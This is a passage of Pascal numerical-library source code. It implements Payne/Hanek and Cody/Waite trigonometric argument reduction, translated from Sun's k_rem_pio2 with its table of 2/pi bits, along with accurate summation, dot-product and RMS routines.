{---------------------------------------------------------------------------}
{----------------- Payne and Hanek argument reduction ---------------------}
{---------------------------------------------------------------------------}
{k_rem_pio2 is my Pascal translation of the C function __kernel_rem_pio2}
(*
* @(#)k_rem_pio2.c 5.1 93/09/24 */
*
* ====================================================
* Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved.
*
* Developed at SunPro, a Sun Microsystems, Inc. business.
* Permission to use, copy, modify, and distribute this
* software is freely granted, provided that this notice
* is preserved.
* ====================================================
*)
(* k_rem_pio2 return the last three bits of N with y = x - N*pi/2
* so that |y| < pi/2.
*
* The method is to compute the integer (mod 8) and fraction parts of
* (2/pi)*x without doing the full multiplication. In general we
* skip the part of the product that are known to be a huge integer
* (more accurately, = 0 mod 8 ). Thus the number of operations are
* independent of the exponent of the input.
*
* (2/pi) is represented by an array of 24-bit integers in ipio2[].
*
* Input parameters:
* x[] The input value (must be positive) is broken into nx
* pieces of 24-bit integers in double precision format.
* x[i] will be the i-th 24 bit of x. The scaled exponent
* of x[0] is given in input parameter e0 (i.e., x[0]*2^e0
* match x's up to 24 bits.
*
* Example of breaking a double positive z into x[0]+x[1]+x[2]:
* e0 = ilogb(z)-23
* z = scalbn(z,-e0)
* for i = 0,1,2
* x[i] = floor(z)
* z = (z-x[i])*2**24
*
*
* y[] output result in an array of double precision numbers.
* The dimension of y[] is:
* 24-bit precision 1
* 53-bit precision 2
* 64-bit precision 2
* 113-bit precision 3
* The actual value is the sum of them. Thus for 113-bit
* precison, one may have to do something like:
*
* long double t,w,r_head, r_tail;
* t = (long double)y[2] + (long double)y[1];
* w = (long double)y[0];
* r_head = t+w;
* r_tail = w - (r_head - t);
*
* e0 The exponent of x[0]. Must be <= 16360 or you need to
* expand the ipio2 table.
*
* nx dimension of x[]
*
* prec an integer indicating the precision:
* 0 24 bits (single)
* 1 53 bits (double)
* 2 64 bits (extended)
* 3 113 bits (quad)
*
* Here is the description of some local variables:
*
* jk jk+1 is the initial number of terms of ipio2[] needed
* in the computation. The recommended value is 2,3,4,
* 6 for single, double, extended,and quad.
*
* jz local integer variable indicating the number of
* terms of ipio2[] used.
*
* jx nx - 1
*
* jv index for pointing to the suitable ipio2[] for the
* computation. In general, we want
* ( 2^e0*x[0] * ipio2[jv-1]*2^(-24jv) )/8
* is an integer. Thus
* e0-3-24*jv >= 0 or (e0-3)/24 >= jv
* Hence jv = max(0,(e0-3)/24).
*
* jp jp+1 is the number of terms in PIo2[] needed, jp = jk.
*
* q[] double array with integral value, representing the
* 24-bits chunk of the product of x and 2/pi.
*
* q0 the corresponding exponent of q[0]. Note that the
* exponent for q[i] would be q0-24*i.
*
* PIo2[] double precision array, obtained by cutting pi/2
* into 24 bits chunks.
*
* f[] ipio2[] in floating point
*
* iq[] integer array by breaking up q[] in 24-bits chunk.
*
* fq[] final product of x*(2/pi) in fq[0],..,fq[jk]
*
* ih integer. If >0 it indicates q[] is >= 0.5, hence
* it also indicates the *sign* of the result.
*
*)
{PIo2[] double array, obtained by cutting pi/2 into 24 bits chunks.}
const
PIo2: array[0..7] of THexDblW = (
($0000, $4000, $21FB, $3FF9), {1.5707962512969971 }
($0000, $0000, $442D, $3E74), {7.5497894158615964e-08}
($0000, $8000, $4698, $3CF8), {5.3903025299577648e-15}
($0000, $6000, $CC51, $3B78), {3.2820034158079130e-22}
($0000, $8000, $1B83, $39F0), {1.2706557530806761e-29}
($0000, $4000, $2520, $387A), {1.2293330898111133e-36}
($0000, $8000, $8222, $36E3), {2.7337005381646456e-44}
($0000, $0000, $F31D, $3569)); {2.1674168387780482e-51}
{ipio2: 16560 bits of 2/pi, i.e. the big-endian integer trunc((2/pi)*2^16560}
{This amount of bits is needed because extended exponents have a maximum of }
{about 2^14. For double-ranges only about 1200 bits are needed.}
const
ipio2: array[0..689] of longint = (
$A2F983, $6E4E44, $1529FC, $2757D1, $F534DD, $C0DB62,
$95993C, $439041, $FE5163, $ABDEBB, $C561B7, $246E3A,
$424DD2, $E00649, $2EEA09, $D1921C, $FE1DEB, $1CB129,
$A73EE8, $8235F5, $2EBB44, $84E99C, $7026B4, $5F7E41,
$3991D6, $398353, $39F49C, $845F8B, $BDF928, $3B1FF8,
$97FFDE, $05980F, $EF2F11, $8B5A0A, $6D1F6D, $367ECF,
$27CB09, $B74F46, $3F669E, $5FEA2D, $7527BA, $C7EBE5,
$F17B3D, $0739F7, $8A5292, $EA6BFB, $5FB11F, $8D5D08,
$560330, $46FC7B, $6BABF0, $CFBC20, $9AF436, $1DA9E3,
$91615E, $E61B08, $659985, $5F14A0, $68408D, $FFD880,
$4D7327, $310606, $1556CA, $73A8C9, $60E27B, $C08C6B,
{the following bits are needed for extended exponents only}
$47C419, $C367CD, $DCE809, $2A8359, $C4768B, $961CA6,
$DDAF44, $D15719, $053EA5, $FF0705, $3F7E33, $E832C2,
$DE4F98, $327DBB, $C33D26, $EF6B1E, $5EF89F, $3A1F35,
$CAF27F, $1D87F1, $21907C, $7C246A, $FA6ED5, $772D30,
$433B15, $C614B5, $9D19C3, $C2C4AD, $414D2C, $5D000C,
$467D86, $2D71E3, $9AC69B, $006233, $7CD2B4, $97A7B4,
$D55537, $F63ED7, $1810A3, $FC764D, $2A9D64, $ABD770,
$F87C63, $57B07A, $E71517, $5649C0, $D9D63B, $3884A7,
$CB2324, $778AD6, $23545A, $B91F00, $1B0AF1, $DFCE19,
$FF319F, $6A1E66, $615799, $47FBAC, $D87F7E, $B76522,
$89E832, $60BFE6, $CDC4EF, $09366C, $D43F5D, $D7DE16,
$DE3B58, $929BDE, $2822D2, $E88628, $4D58E2, $32CAC6,
$16E308, $CB7DE0, $50C017, $A71DF3, $5BE018, $34132E,
$621283, $014883, $5B8EF5, $7FB0AD, $F2E91E, $434A48,
$D36710, $D8DDAA, $425FAE, $CE616A, $A4280A, $B499D3,
$F2A606, $7F775C, $83C2A3, $883C61, $78738A, $5A8CAF,
$BDD76F, $63A62D, $CBBFF4, $EF818D, $67C126, $45CA55,
$36D9CA, $D2A828, $8D61C2, $77C912, $142604, $9B4612,
$C459C4, $44C5C8, $91B24D, $F31700, $AD43D4, $E54929,
$10D5FD, $FCBE00, $CC941E, $EECE70, $F53E13, $80F1EC,
$C3E7B3, $28F8C7, $940593, $3E71C1, $B3092E, $F3450B,
$9C1288, $7B20AB, $9FB52E, $C29247, $2F327B, $6D550C,
$90A772, $1FE76B, $96CB31, $4A1679, $E27941, $89DFF4,
$9794E8, $84E6E2, $973199, $6BED88, $365F5F, $0EFDBB,
$B49A48, $6CA467, $427271, $325D8D, $B8159F, $09E5BC,
$25318D, $3974F7, $1C0530, $010C0D, $68084B, $58EE2C,
$90AA47, $02E774, $24D6BD, $A67DF7, $72486E, $EF169F,
$A6948E, $F691B4, $5153D1, $F20ACF, $339820, $7E4BF5,
$6863B2, $5F3EDD, $035D40, $7F8985, $295255, $C06437,
$10D86D, $324832, $754C5B, $D4714E, $6E5445, $C1090B,
$69F52A, $D56614, $9D0727, $50045D, $DB3BB4, $C576EA,
$17F987, $7D6B49, $BA271D, $296996, $ACCCC6, $5414AD,
$6AE290, $89D988, $50722C, $BEA404, $940777, $7030F3,
$27FC00, $A871EA, $49C266, $3DE064, $83DD97, $973FA3,
$FD9443, $8C860D, $DE4131, $9D3992, $8C70DD, $E7B717,
$3BDF08, $2B3715, $A0805C, $93805A, $921110, $D8E80F,
$AF806C, $4BFFDB, $0F9038, $761859, $15A562, $BBCB61,
$B989C7, $BD4010, $04F2D2, $277549, $F6B6EB, $BB22DB,
$AA140A, $2F2689, $768364, $333B09, $1A940E, $AA3A51,
$C2A31D, $AEEDAF, $12265C, $4DC26D, $9C7A2D, $9756C0,
$833F03, $F6F009, $8C402B, $99316D, $07B439, $15200C,
$5BC3D8, $C492F5, $4BADC6, $A5CA4E, $CD37A7, $36A9E6,
$9492AB, $6842DD, $DE6319, $EF8C76, $528B68, $37DBFC,
$ABA1AE, $3115DF, $A1AE00, $DAFB0C, $664D64, $B705ED,
$306529, $BF5657, $3AFF47, $B9F96A, $F3BE75, $DF9328,
$3080AB, $F68C66, $15CB04, $0622FA, $1DE4D9, $A4B33D,
$8F1B57, $09CD36, $E9424E, $A4BE13, $B52333, $1AAAF0,
$A8654F, $A5C1D2, $0F3F0B, $CD785B, $76F923, $048B7B,
$721789, $53A6C6, $E26E6F, $00EBEF, $584A9B, $B7DAC4,
$BA66AA, $CFCF76, $1D02D1, $2DF1B1, $C1998C, $77ADC3,
$DA4886, $A05DF7, $F480C6, $2FF0AC, $9AECDD, $BC5C3F,
$6DDED0, $1FC790, $B6DB2A, $3A25A3, $9AAF00, $9353AD,
$0457B6, $B42D29, $7E804B, $A707DA, $0EAA76, $A1597B,
$2A1216, $2DB7DC, $FDE5FA, $FEDB89, $FDBE89, $6C76E4,
$FCA906, $70803E, $156E85, $FF87FD, $073E28, $336761,
$86182A, $EABD4D, $AFE7B3, $6E6D8F, $396795, $5BBF31,
$48D784, $16DF30, $432DC7, $356125, $CE70C9, $B8CB30,
$FD6CBF, $A200A4, $E46C05, $A0DD5A, $476F21, $D21262,
$845CB9, $496170, $E0566B, $015299, $375550, $B7D51E,
$C4F133, $5F6E13, $E4305D, $A92E85, $C3B21D, $3632A1,
$A4B708, $D4B1EA, $21F716, $E4698F, $77FF27, $80030C,
$2D408D, $A0CD4F, $99A520, $D3A2B3, $0A5D2F, $42F9B4,
$CBDA11, $D0BE7D, $C1DB9B, $BD17AB, $81A2CA, $5C6A08,
$17552E, $550027, $F0147F, $8607E1, $640B14, $8D4196,
$DEBE87, $2AFDDA, $B6256B, $34897B, $FEF305, $9EBFB9,
$4F6A68, $A82A4A, $5AC44F, $BCF82D, $985AD7, $95C7F4,
$8D4D0D, $A63A20, $5F57A4, $B13F14, $953880, $0120CC,
$86DD71, $B6DEC9, $F560BF, $11654D, $6B0701, $ACB08C,
$D0C0B2, $485551, $0EFB1E, $C37295, $3B06A3, $3540C0,
$7BDC06, $CC45E0, $FA294E, $C8CAD6, $41F3E8, $DE647C,
$D8649B, $31BED9, $C397A4, $D45877, $C5E369, $13DAF0,
$3C3ABA, $461846, $5F7555, $F5BDD2, $C6926E, $5D2EAC,
$ED440E, $423E1C, $87C461, $E9FD29, $F3D6E7, $CA7C22,
$35916F, $C5E008, $8DD7FF, $E26A6E, $C6FDB0, $C10893,
$745D7C, $B2AD6B, $9D6ECD, $7B723E, $6A11C6, $A9CFF7,
$DF7329, $BAC9B5, $5100B7, $0DB2E2, $24BA74, $607DE5,
$8AD874, $2C150D, $0C1881, $94667E, $162901, $767A9F,
$BEFDFD, $EF4556, $367ED9, $13D9EC, $B9BA8B, $FC97C4,
$27A831, $C36EF1, $36C594, $56A8D8, $B5A8B4, $0ECCCF,
$2D8912, $34576F, $89562C, $E3CE99, $B920D6, $AA5E6B,
$9C2A3E, $CC5F11, $4A0BFD, $FBF4E1, $6D3B8E, $2C86E2,
$84D4E9, $A9B4FC, $D1EEEF, $C9352E, $61392F, $442138,
$C8D91B, $0AFC81, $6A4AFB, $D81C2F, $84B453, $8C994E,
$CC2254, $DC552A, $D6C6C0, $96190B, $B8701A, $649569,
$605A26, $EE523F, $0F117F, $11B5F4, $F5CBFC, $2DBC34,
$EEBC34, $CC5DE8, $605EDD, $9B8E67, $EF3392, $B817C9,
$9B5861, $BC57E1, $C68351, $103ED8, $4871DD, $DD1C2D,
$A118AF, $462C21, $D7F359, $987AD9, $C0549E, $FA864F,
$FC0656, $AE79E5, $362289, $22AD38, $DC9367, $AAE855,
$382682, $9BE7CA, $A40D51, $B13399, $0ED7A9, $480569,
$F0B265, $A7887F, $974C88, $36D1F9, $B39221, $4A827B,
$21CF98, $DC9F40, $5547DC, $3A74E1, $42EB67, $DF9DFE,
$5FD45E, $A4677B, $7AACBA, $A2F655, $23882B, $55BA41,
$086E59, $862A21, $834739, $E6E389, $D49EE5, $40FB49,
$E956FF, $CA0F1C, $8A59C5, $2BFA94, $C5C1D3, $CFC50F,
$AE5ADB, $86C547, $624385, $3B8621, $94792C, $876110,
$7B4C2A, $1A2C80, $12BF43, $902688, $893C78, $E4C4A8,
$7BDBE5, $C23AC4, $EAF426, $8A67F7, $BF920D, $2BA365,
$B1933D, $0B7CBD, $DC51A4, $63DD27, $DDE169, $19949A,
$9529A8, $28CE68, $B4ED09, $209F44, $CA984E, $638270,
$237C7E, $32B90F, $8EF5A7, $E75614, $08F121, $2A9DB5,
$4D7E6F, $5119A5, $ABF9B5, $D6DF82, $61DD96, $023616,
$9F3AC4, $A1A283, $6DED72, $7A8D39, $A9B882, $5C326B,
$5B2746, $ED3400, $7700D2, $55F4FC, $4D5901, $8071E0);
const
init_jk: array[0..3] of integer = (2,3,4,6); {initial value for jk}
const
two24: double = 16777216.0; {2^24}
twon24: double = 5.9604644775390625e-08; {1/2^24}
type
TDA02 = array[0..2] of double; {Type definition needed for Pascal versions}
{without open arrays, 2 is OK for extended!}
{---------------------------------------------------------------------------}
function k_rem_pio2({$ifdef CONST}const{$else}var {$endif} x: TDA02;
var y: TDA02; e0, nx, prec: integer): integer;
{-Calculate y with y = x - n*Pi/2, |y| <= Pi/4 and return n mod 8}
label
recompute;
var
i,ih,j,jz,jx,jv,jp,jk,carry,k,m,n,q0: integer;
t: longint; {WE: used for longint calculations, all other C-ints can be integers}
iq: array[0..19] of longint;
f,fq,q: array[0..19] of double;
z,fw: double;
begin
{initialize jk}
jk := init_jk[prec];
jp := jk;
{determine jx,jv,q0, note that 3>q0}
jx := nx-1;
jv := (e0-3) div 24; if jv<0 then jv := 0;
q0 := e0-24*(jv+1);
{set up f[0] to f[jx+jk] where f[jx+jk] = ipio2[jv+jk]}
j := jv-jx;
m := jx+jk;
for i:=0 to m do begin
if j<0 then f[i] := 0.0 else f[i] := ipio2[j];
inc(j);
end;
{compute q[0],q[1],...q[jk]}
for i:=0 to jk do begin
fw := 0.0;
for j:=0 to jx do begin
fw := fw + x[j]*f[jx+i-j];
q[i] := fw;
end;
end;
jz := jk;
recompute:
{distill q[] into iq[] reversingly}
i := 0;
j := jz;
z := q[jz];
while j>0 do begin
fw := trunc(twon24*z);
iq[i] := trunc(z-two24*fw);
z := q[j-1]+fw;
inc(i);
dec(j);
end;
{compute n}
z := ldexp(z,q0); {actual value of z}
z := z - 8.0*floorx(z*0.125); {trim off integer >= 8}
n := trunc(z);
z := z - n;
ih := 0;
if q0>0 then begin
{need iq[jz-1] to determine n}
t := (iq[jz-1] shr (24-q0));
inc(n,t);
dec(iq[jz-1], t shl (24-q0));
ih := iq[jz-1] shr (23-q0);
end
else if q0=0 then ih := iq[jz-1] shr 23
else if z>=0.5 then ih := 2;
if ih>0 then begin
{q > 0.5}
inc(n);
carry := 0;
for i:=0 to jz-1 do begin
{compute 1-q}
t := iq[i];
if carry=0 then begin
if t<>0 then begin
carry := 1;
iq[i] := $1000000 - t;
end
end
else iq[i] := $ffffff - t;
end;
if q0>0 then begin
{rare case: chance is 1 in 12}
case q0 of
1: iq[jz-1] := iq[jz-1] and $7fffff;
2: iq[jz-1] := iq[jz-1] and $3fffff;
end;
end;
if ih=2 then begin
z := 1.0 - z;
if carry<>0 then z := z - ldexp(1.0,q0);
end;
end;
{check if recomputation is needed}
if z=0.0 then begin
t := 0;
for i:=jz-1 downto jk do t := t or iq[i];
if t=0 then begin
{need recomputation}
k := 1;
while iq[jk-k]=0 do inc(k); {k = no. of terms needed}
for i:=jz+1 to jz+k do begin
{add q[jz+1] to q[jz+k]}
f[jx+i] := ipio2[jv+i];
fw := 0.0;
for j:=0 to jx do fw := fw + x[j]*f[jx+i-j];
q[i] := fw;
end;
inc(jz,k);
goto recompute;
end;
end;
{chop off zero terms}
if z=0.0 then begin
dec(jz);
dec(q0,24);
while iq[jz]=0 do begin
dec(jz);
dec(q0,24);
end;
end
else begin
{break z into 24-bit if necessary}
z := ldexp(z,-q0);
if z>=two24 then begin
fw := trunc(twon24*z);
iq[jz] := trunc(z-two24*fw);
inc(jz);
inc(q0,24);
iq[jz] := trunc(fw);
end
else iq[jz] := trunc(z);
end;
{convert integer "bit" chunk to floating-point value}
fw := ldexp(1.0,q0);
for i:=jz downto 0 do begin
q[i] := fw*iq[i];
fw := fw*twon24;
end;
{compute PIo2[0,...,jp]*q[jz,...,0]}
for i:=jz downto 0 do begin
fw :=0.0;
k := 0;
while (k<=jp) and (k<=jz-i) do begin
fw := fw + double(PIo2[k])*(q[i+k]);
fq[jz-i] := fw;
inc(k);
end;
end;
{compress fq[] into y[]}
case prec of
0: begin
fw := 0.0;
for i:=jz downto 0 do fw := fw + fq[i];
if ih=0 then y[0] := fw else y[0] := -fw;
end;
1,
2: begin
fw := 0.0;
for i:=jz downto 0 do fw := fw + fq[i];
if ih=0 then y[0] := fw else y[0] := -fw;
fw := fq[0]-fw;
for i:=1 to jz do fw := fw + fq[i];
if ih=0 then y[1] := fw else y[1] := -fw;
end;
3: begin
{painful}
for i:=jz downto 1 do begin
fw := fq[i-1]+fq[i];
fq[i] := fq[i] + (fq[i-1]-fw);
fq[i-1]:= fw;
end;
for i:=jz downto 2 do begin
fw := fq[i-1]+fq[i];
fq[i] := fq[i] + (fq[i-1]-fw);
fq[i-1]:= fw;
end;
fw := 0.0;
for i:=jz downto 2 do fw := fw + fq[i];
if ih=0 then begin
y[0] := fq[0];
y[1] := fq[1];
y[2] := fw;
end
else begin
y[0] := -fq[0];
y[1] := -fq[1];
y[2] := -fw;
end;
end;
end;
k_rem_pio2 := n and 7;
end;
{---------------------------------------------------------------------------}
function rem_pio2_ph(x: extended; var z: extended): integer;
{-Payne/Hanek reduction of x: z = x - n*Pi/2, |z| <= Pi/4, result = n mod 8}
var
ax, ay: TDA02;
e0: integer;
begin
z := abs(x);
if (x=0.0) or IsNanOrInf(x) then rem_pio2_ph := 0
else begin
e0 := ilogb(z)-23;
z := ldexp(z,-e0);
ax[0] := trunc(z); z := ldexp(z-ax[0],24);
ax[1] := trunc(z);
ax[2] := trunc(ldexp(z-ax[1],24));
e0 := k_rem_pio2(ax,ay, e0, 3, 2);
if x>=0 then begin
z := ay[0]+ay[1];
rem_pio2_ph := e0;
end
else begin
z := -ay[0]-ay[1];
rem_pio2_ph := (-e0) and 7;
end;
end;
end;
{---------------------------------------------------------------------------}
function rem_pio2(x: extended; var z: extended): integer;
{-Argument reduction of x: z = x - n*Pi/2, |z| <= Pi/4, result = n mod 8.}
{ Uses Payne/Hanek if |x| >= ph_cutoff, Cody/Waite otherwise}
const
tol: extended = 5.9604644775390625e-8; {ph_cutoff*eps_x}
begin
z := abs(x);
if z<Pi_4 then begin
z := x;
rem_pio2 := 0;
end
else if z > ph_cutoff then rem_pio2 := rem_pio2_ph(x,z)
else begin
rem_pio2 := rem_pio2_cw(x,z);
if abs(z) <= tol then begin
{If x is close to a multiple of Pi/2, the C/W relative error may be}
{large, e.g. 1.0389e-6 for x = 491299012647073665.0/16777216.0 with}
{z_cw = 5.0672257144385922E-20 and z_ph = 5.0672204500144216E-20. }
{In this case redo the calculation with the Payne/Hanek algorithm. }
rem_pio2 := rem_pio2_ph(x,z);
end;
end;
end;
{---------------------------------------------------------------------------}
function rem_2pi(x: extended): extended;
{-Return x mod 2*Pi}
var
{$ifndef ExtendedSyntax_on} n: integer;{$endif}
z: extended;
const
{Reduction constants: 2*Pi = Pi2H + Pi2M + Pi2L}
H2PH : THexExtW = ($0000,$0000,$da80,$c90f,$4001);
H2PM : THexExtW = ($0000,$0000,$a300,$8885,$3fe7);
H2PL : THexExtW = ($3707,$a2e0,$3198,$8d31,$3fcb);
var
Pi2H: extended absolute H2PH; {= 6.28318524360656738}
Pi2M: extended absolute H2PM; {= 6.35730188491834269E-8}
Pi2L: extended absolute H2PL; {= 2.44929359829470635E-16}
begin
if abs(x) <= ph_cutoff then begin
{Direct Cody/Waite style reduction. This is more efficient}
{than calling rem_pio2_cw with additional adjustment.}
z := floorx(x/TwoPi);
z := ((x - z*Pi2H) - z*Pi2M) - z*Pi2L;
if z>TwoPi then begin
{May be reached due to rounding, but was never observed}
z := ((z - Pi2H) - Pi2M) - Pi2L;
end;
end
else begin
{Use Payne/Hanek code with adjustments for mod 2Pi}
{$ifndef ExtendedSyntax_on} n:={$endif} rem_pio2_ph(0.25*x,z);
z := 4.0*z;
{Here |z| <= Pi, adjustment for z<0 is done below}
end;
{Note that in rare cases result=TwoPi, e.g. for x = -TwoPi.}
{All z with -2eps_x <= z < 0 will have z + TwoPi = TwoPi}
if z<0.0 then z := ((z + Pi2H) + Pi2M) + Pi2L;
rem_2pi := z;
end;
{---------------------------------------------------------------------------}
function rem_2pi_sym(x: extended): extended;
{-Return x mod 2*Pi, -Pi <= result <= Pi}
var
{$ifndef ExtendedSyntax_on} n: integer;{$endif}
z: extended;
begin
{$ifndef ExtendedSyntax_on} n:={$endif} rem_pio2(0.25*x,z);
rem_2pi_sym := 4.0*z;
end;
{---------------------------------------------------------------------------}
function rem_int2(x: extended; var z: extended): integer;
{-Argument reduction of x: z*Pi = x*Pi - n*Pi/2, |z|<=1/4, result = n mod 8.}
{ Used for argument reduction in sin(Pi*x) and cos(Pi*x)}
var
y: extended;
i: integer;
begin
if IsNanOrInf(x) or (abs(x)<=0.25) then begin
rem_int2 := 0;
z := x;
exit;
end;
if frac(x)=0.0 then begin
{Here x is an integer or abs(x) >= 2^64}
z := 0.0;
i := 0;
{set i=2, if x is a odd}
if (TExtRec(x).xp and $7FFF < $403F) and (frac(0.5*x)<>0.0) then i:=2;
end
else begin
{Here x is not an integer. First calculate x mod 2,}
{this leaves Pi*x = Pi*(x mod 2) mod 2*Pi invariant}
x := 0.5*x;
x := 2.0*(x-floorx(x));
{then apply the Cody/Waite style range reduction}
y := floorx(4.0*x);
i := trunc(y - 16.0*floorx(y/16.0));
if odd(i) then begin
inc(i);
y := y + 1.0;
end;
i := (i shr 1) and 7;
z := x-0.25*y;
end;
rem_int2 := i;
end;
{---------------------------------------------------------------------------}
{-------------- Polynomial, Vector, Statistic Operations -------------------}
{---------------------------------------------------------------------------}
{---------------------------------------------------------------------------}
{$ifdef CONST}
function sum2(const a: array of double; n: integer): extended;
{-Compute accurate sum(a[i], i=0..n-1) of a double vector}
{$else}
function sum2(var va{:array of double}; n: integer): extended;
{-Compute accurate sum(a[i], i=0..n-1) of a double vector}
var
a: TDblVector absolute va;
{$endif}
var
e,s,t,x,y,z: double;
i: integer;
begin
{empty sum}
if n<=0 then begin
sum2 := 0.0;
exit;
end;
{$ifdef CONST}
{$ifdef debug}
if n>high(a)+1 then begin
writeln('sum2: n > high(a)+1, n = ',n, ' vs. ', high(a)+1);
readln;
end;
{$endif}
if n>high(a)+1 then n := high(a)+1;
{$endif}
{Double version of [8] Algorithm 4.4}
s := a[0];
e := 0.0;
for i:=1 to n-1 do begin
t := a[i];
{(x,y) = TwoSum(a[i],s)}
x := t+s;
z := x-t;
y := (t-(x-z)) + (s-z);
{sum of errors}
e := e+y;
s := x;
end;
sum2 := s+e;
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function sum2x(const a: array of extended; n: integer): extended;
{-Compute accurate sum(a[i], i=0..n-1) of extended vector}
{$else}
function sum2x(var va{:array of extended}; n: integer): extended;
{-Compute accurate sum(a[i], i=0..n-1) of extended vector}
var
a: TExtVector absolute va;
{$endif}
var
e,s,t,x,y,z: extended;
i: integer;
begin
{empty sum}
if n<=0 then begin
sum2x := 0.0;
exit;
end;
{$ifdef CONST}
{$ifdef debug}
if n>high(a)+1 then begin
writeln('sum2x: n > high(a)+1, n = ',n, ' vs. ', high(a)+1);
readln;
end;
{$endif}
if n>high(a)+1 then n := high(a)+1;
{$endif}
{Extended version of [8] Algorithm 4.4}
s := a[0];
e := 0.0;
for i:=1 to n-1 do begin
t := a[i];
{(x,y) = TwoSum(t,s)}
x := t+s;
z := x-t;
y := (t-(x-z)) + (s-z);
{sum of errors}
e := e+y;
s := x;
end;
sum2x := s+e;
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function dot2(const x,y: array of double; n: integer): extended;
{-Accurate dot product sum(x[i]*y[i], i=0..n-1) of two double vectors}
{$else}
function dot2(var vx,vy{:array of double}; n: integer): extended;
{-Accurate dot product sum(x[i]*y[i], i=0..n-1) of two double vectors}
var
x: TDblVector absolute vx;
y: TDblVector absolute vy;
{$endif}
const
csd = 134217729.0; {2^27+1} {Split constant for TwoProduct}
var
i: integer;
p,s,h,q,r: double;
x1,x2,y1,y2: double;
begin
{empty sum}
if n<=0 then begin
dot2 := 0.0;
exit;
end;
{$ifdef CONST}
if n>high(x)+1 then n:=high(x)+1;
if n>high(y)+1 then n:=high(y)+1;
{$endif}
{Double version of [8], Algorithm 5.3. Note that the original version}
{in [8] initializes (p,s) = TwoProduct(x[0], x[0]). This saves a few }
{flops compared with my code, but TwoProduct source either has to be }
{doubled or called as a subroutine (which is normally slower)}
s := 0.0;
p := 0.0;
for i:=0 to n-1 do begin
{TwoProduct(x[i],y[i],h,r);}
q := x[i];
{split x[i] into x1,x2}
r := csd*q;
x2 := r-q;
x1 := r-x2;
x2 := q-x1;
r := y[i];
{h = x[i]*y[i]}
h := q*r;
{split y into y1,y2}
q := csd*r;
y2 := q-r;
y1 := q-y2;
y2 := r-y1;
{r = x2*y2 - (((h-x1*y1)-x2*y1)-x1*y2}
q := x1*y1;
q := h-q;
y1 := y1*x2;
q := q-y1;
x1 := x1*y2;
q := q-x1;
x2 := x2*y2;
r := x2-q;
{(p,q) = TwoSum(p,h)}
x1 := p+h;
x2 := x1-p;
y1 := x1-x2;
y2 := h-x2;
q := p-y1;
q := q+y2;
p := x1;
{s = s + (q+r))}
q := q+r;
s := s+q;
end;
dot2 := p+s;
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function dot2x(const x,y: array of extended; n: integer): extended;
{-Accurate dot product sum(x[i]*y[i], i=0..n-1) of two extended vectors}
{$else}
function dot2x(var vx,vy{:array of extended}; n: integer): extended;
{-Accurate dot product sum(x[i]*y[i], i=0..n-1) of two extended vectors}
var
x: TExtVector absolute vx;
y: TExtVector absolute vy;
{$endif}
const
csx = 4294967297.0; {2^32+1} {Split constant for TwoProduct}
var
i: integer;
p,s,h,q,r: extended;
x1,x2,y1,y2: extended;
begin
{empty sum}
if n<=0 then begin
dot2x := 0.0;
exit;
end;
{$ifdef CONST}
if n>high(x)+1 then n:=high(x)+1;
if n>high(y)+1 then n:=high(y)+1;
{$endif}
{Extended version of [8], Algorithm 5.3. Note that the original version}
{in [8] initializes (p,s) = TwoProduct(x[0], x[0]). This saves a few }
{flops compared with my code, but TwoProduct source either has to be }
{doubled or called as a subroutine (which is normally slower)}
s := 0.0;
p := 0.0;
for i:=0 to n-1 do begin
{TwoProdD(x[i],y[i],h,r);}
q := x[i];
{split x[i] into x1,x2}
r := csx*q;
x2 := r-q;
x1 := r-x2;
x2 := q-x1;
r := y[i];
{h = x[i]*y[i]}
h := q*r;
{split y into y1,y2}
q := csx*r;
y2 := q-r;
y1 := q-y2;
y2 := r-y1;
{r = x2*y2 - (((h-x1*y1)-x2*y1)-x1*y2}
q := x1*y1;
q := h-q;
y1 := y1*x2;
q := q-y1;
x1 := x1*y2;
q := q-x1;
x2 := x2*y2;
r := x2-q;
{(p,q) = TwoSum(p,h)}
x1 := p+h;
x2 := x1-p;
y1 := x1-x2;
y2 := h-x2;
q := p-y1;
q := q+y2;
p := x1;
{s = s + (q+r))}
q := q+r;
s := s+q;
end;
dot2x := p+s;
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function rmsx(const a: array of extended; n: integer): extended;
{-Calculate the RMS value sqrt(sum(a[i]^2, i=0..n-1)/n) of an extended vector}
{$else}
function rmsx(var va{: array of extended}; n: integer): extended;
{-Calculate the RMS value sqrt(sum(a[i]^2, i=0..n-1)/n) of an extended vector}
var
a: TExtVector absolute va;
{$endif}
var
scale, sumsq: extended;
begin
ssqx(a,n,scale,sumsq);
rmsx := scale*sqrt(sumsq/n);
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
function rms(const a: array of double; n: integer): extended;
{-Calculate the RMS value sqrt(sum(a[i]^2, i=0..n-1)/n) of a double vector}
{$else}
function rms(var va{: array of double}; n: integer): extended;
{-Calculate the RMS value sqrt(sum(a[i]^2, i=0..n-1)/n) of a double vector}
var
a: TDblVector absolute va;
{$endif}
var
scale, sumsq: extended;
begin
ssqd(a,n,scale,sumsq);
rms := scale*sqrt(sumsq/n);
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
procedure ssqx(const a: array of extended; n: integer; var scale, sumsq: extended);
{-Calculate sum(a[i]^2, i=0..n-1) = scale^2*sumsq, scale>=0, sumsq>0}
{$else}
procedure ssqx(var va{:array of extended}; n: integer; var scale, sumsq: extended);
{-Calculate sum(a[i]^2, i=0..n-1) = scale^2*sumsq, scale>=0, sumsq>0}
var
a: TExtVector absolute va;
{$endif}
var
i: integer;
t: extended;
begin
{$ifdef CONST}
{$ifdef debug}
if n>high(a)+1 then begin
writeln('ssqx: n > high(a)+1, n = ',n, ' vs. ', high(a)+1);
readln;
end;
{$endif}
if n>high(a)+1 then n := high(a)+1;
{$endif}
{based on http://www.netlib.org/lapack/explore-html/dlassq.f.html}
{see also Higham [9], Problem 27.5 for a proof of correctness}
scale := 0.0;
sumsq := 1.0;
if n<=1 then begin
if n=1 then scale := abs(a[0]);
exit;
end;
for i:=0 to n-1 do begin
t := abs(a[i]);
if t<>0 then begin
if scale < t then begin
sumsq := 1.0 + sumsq*sqr(scale/t);
scale := t;
end
else sumsq := sumsq + sqr(t/scale);
end;
end;
end;
{---------------------------------------------------------------------------}
{$ifdef CONST}
procedure ssqd(const a: array of double; n: integer; var scale, sumsq: extended);
